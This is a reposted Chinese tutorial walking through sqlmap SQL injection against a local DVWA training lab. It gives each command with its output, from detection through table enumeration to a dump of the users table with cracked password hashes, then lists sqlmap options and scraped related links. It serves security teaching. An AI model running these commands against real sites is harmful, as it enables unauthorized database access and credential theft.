sql注入(转载)
1、使用firefox浏览器(安装一个firebug插件)登录http://192.168.204.132/dvwa/login.php页面,使用admin/password
2、打开firebug工具的cookie面板,将所有cookie复制下来。得到:
PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2; path=/; domain=192.168.204.132
security=low; path=/dvwa/; domain=192.168.204.132
3、打开dvwa的SQL Injection页面,在User ID输入框内输入1,点击submit按钮。从地址栏得到要测试的url:
http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
4、从kali打开终端,数据sqlmap,将会有提示文档。
5、开始测试该url是否存在sql注入漏洞,在终端输入:
sqlmap -u
'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#'
- -cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low'
得到信息结果:
web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.18
back-end DBMS: MySQL >= 5.5
6、开始探测MYSQL中用来存放应用数据的数据库名称,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' --dbs -v 0
得到信息结果:
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
7、得到数据库是dvwa后,开始获取数据库中所存在表,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables
得到信息结果:
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
8、得到两张表,获取一下users表的字段,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables -T users --columns
得到信息结果:
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
9、最后可以吧表数据导出来了,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables -T users --columns --dump
得到信息结果:
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | http://127.0.0.1/DVWA/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2017-04-01 00:58:43 | 0 |
| 2 | http://127.0.0.1/DVWA/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2017-04-01 00:58:43 | 0 |
| 3 | http://127.0.0.1/DVWA/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2017-04-01 00:58:43 | 0 |
| 4 | http://127.0.0.1/DVWA/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2017-04-01 00:58:43 | 0 |
| 5 | http://127.0.0.1/DVWA/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2017-04-01 00:58:43 | 0 |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.204.132/dump/dvwa/users.csv'
并且导出CSV数据到本地!还发现一个惊喜数,据库中的密文密码也给破译了!!
给出sqlmap的一些选项:(sqlmap -h会给出英文的帮助文档)
–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
-u : 指定目标URL
-b : 获取DBMS banner
–current-db : 获取当前数据库
–current-user:获取当前用户
–string : 当查询可用时用来匹配页面中的字符串
–users : 枚举DBMS用户
–password : 枚举DBMS用户密码hash
–dbs: 枚举DBMS中的数据库
-D : 要枚举的DBMS数据库
–tables : 枚举DBMS数据库中的数据表
–columns : 枚举DBMS数据库表中的所有列
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项
非常感谢原博主的分享,受益颇多:http://blog.csdn.net/qq_20745827/article/details/68953621
sql注入(转载)的更多相关文章
- sqlmap和burpsuite绕过csrf token进行SQL注入检测
利用sqlmap和burpsuite绕过csrf token进行SQL注入 转载请注明来源:http://www.cnblogs.com/phoenix--/archive/2013/04/12/30 ...
- 【转载】C#防SQL注入过滤危险字符信息
不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...
- 【转载】SQL注入原理讲解
这几篇文章讲的都很不错,我看了大概清除了sql注入是怎么一回事,打算细细研究一下这个知识,另写一篇博客: 原文地址:http://www.cnblogs.com/rush/archive/2011/1 ...
- [转载]利用分块传输绕过WAF进行SQL注入
原理 客户端给服务器发送数据的时候,如果我们利用协议去制作payload,就可以绕过http协议的waf,实现SQL注入 分块传输编码(Chunked transfer encoding)是HTTP中 ...
- 利用SQL注入漏洞登录后台的实现方法 。。。。转载
一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...
- 10个SQL注入工具(转载)
众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...
- 【转载】SQL注入
"SQL注入"是一种利用未过滤/未审核用户输入的攻击方法("缓存溢出"和这个不同),意思就是让应用运行本不应该运行的SQL代码.如果应用毫无防 ...
- 【转载】以Java的视角来聊聊SQL注入
以Java的视角来聊聊SQL注入 原创 2017-08-08 javatiku Java面试那些事儿 在大二就接触过sql注入,之前一直在学习windows逆向技术,认为web安全以后不是自己的从业方 ...
- [转载]mysql绑定参数bind_param原理以及防SQL注入
假设我们的用户表中存在一行.用户名字段为username.值为aaa.密码字段为pwd.值为pwd.. 下面我们来模拟一个用户登录的过程.. <?php $username = "aa ...
随机推荐
- javascript篇-console.log()打印object却显示为字符串[object object]
console.log打印对象遇到的一个问题,如下截图 打印结果与预期不符,原因是因为字符串‘a’和对象object拼接在一起,拼成了一个字符串
- mysql 解锁
show OPEN TABLES where In_use > 0;show processlist;show status like 'Table%';show status like '%l ...
- content_type
1.作用 将app名称与其中表关系进行保存 在models创建表时,关联到ContentType并不会产生实际的字段 2.使用 在models中代码 from django.db import mod ...
- [LeetCode] 129. Sum Root to Leaf Numbers_Medium tag: DFS
Given a binary tree containing digits from 0-9 only, each root-to-leaf path could represent a number ...
- 谷歌启用抓取JavaScript,应对方案!
谷歌启用了抓取JavaScript来深入了解网站,这样,如果网站或黑页是加了跳转代码或判断代码,很有可能将会被识别出来.虽然目前只是谷歌启用识别JavaScript文件,但国内搜索引擎很可能也会跟着模 ...
- xmlns:dubbo 路径错误
It goes normal when change <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ...
- Go linux 实践 1
引言: 如果,曾经,你以作为一名C语言应用开发者而自豪,那么后来你应该以用C++来开发为时髦,当JAVA出现时,你可能会说“这小子,有两下子嘛!” 但是,当你以JAVA专家出厂时,哈哈,返过头来面对J ...
- 5.C#释放非托管资源1
释放非托管资源 在介绍释放非托管资源的时候,我觉得有必要先来认识一下啥叫非托管资源,既然有非托管资源,肯定有托管资源. 托管资源指的是.net可以自棕进行回收的资源,主要是指托管堆上分配的内存资源.托 ...
- python路径相关操作
#获取当前文件所在目录filedir = __file__ print os.path.dirname(filedir) #获取文件名print os.path.basename(filedir)
- spring之拦截器
拦截器 实现HandlerInterceptor接口:注册拦截器<mvc:inteceptors> spring和springMVC父子容器的关系 在spring整体框架的核心概念中,容器 ...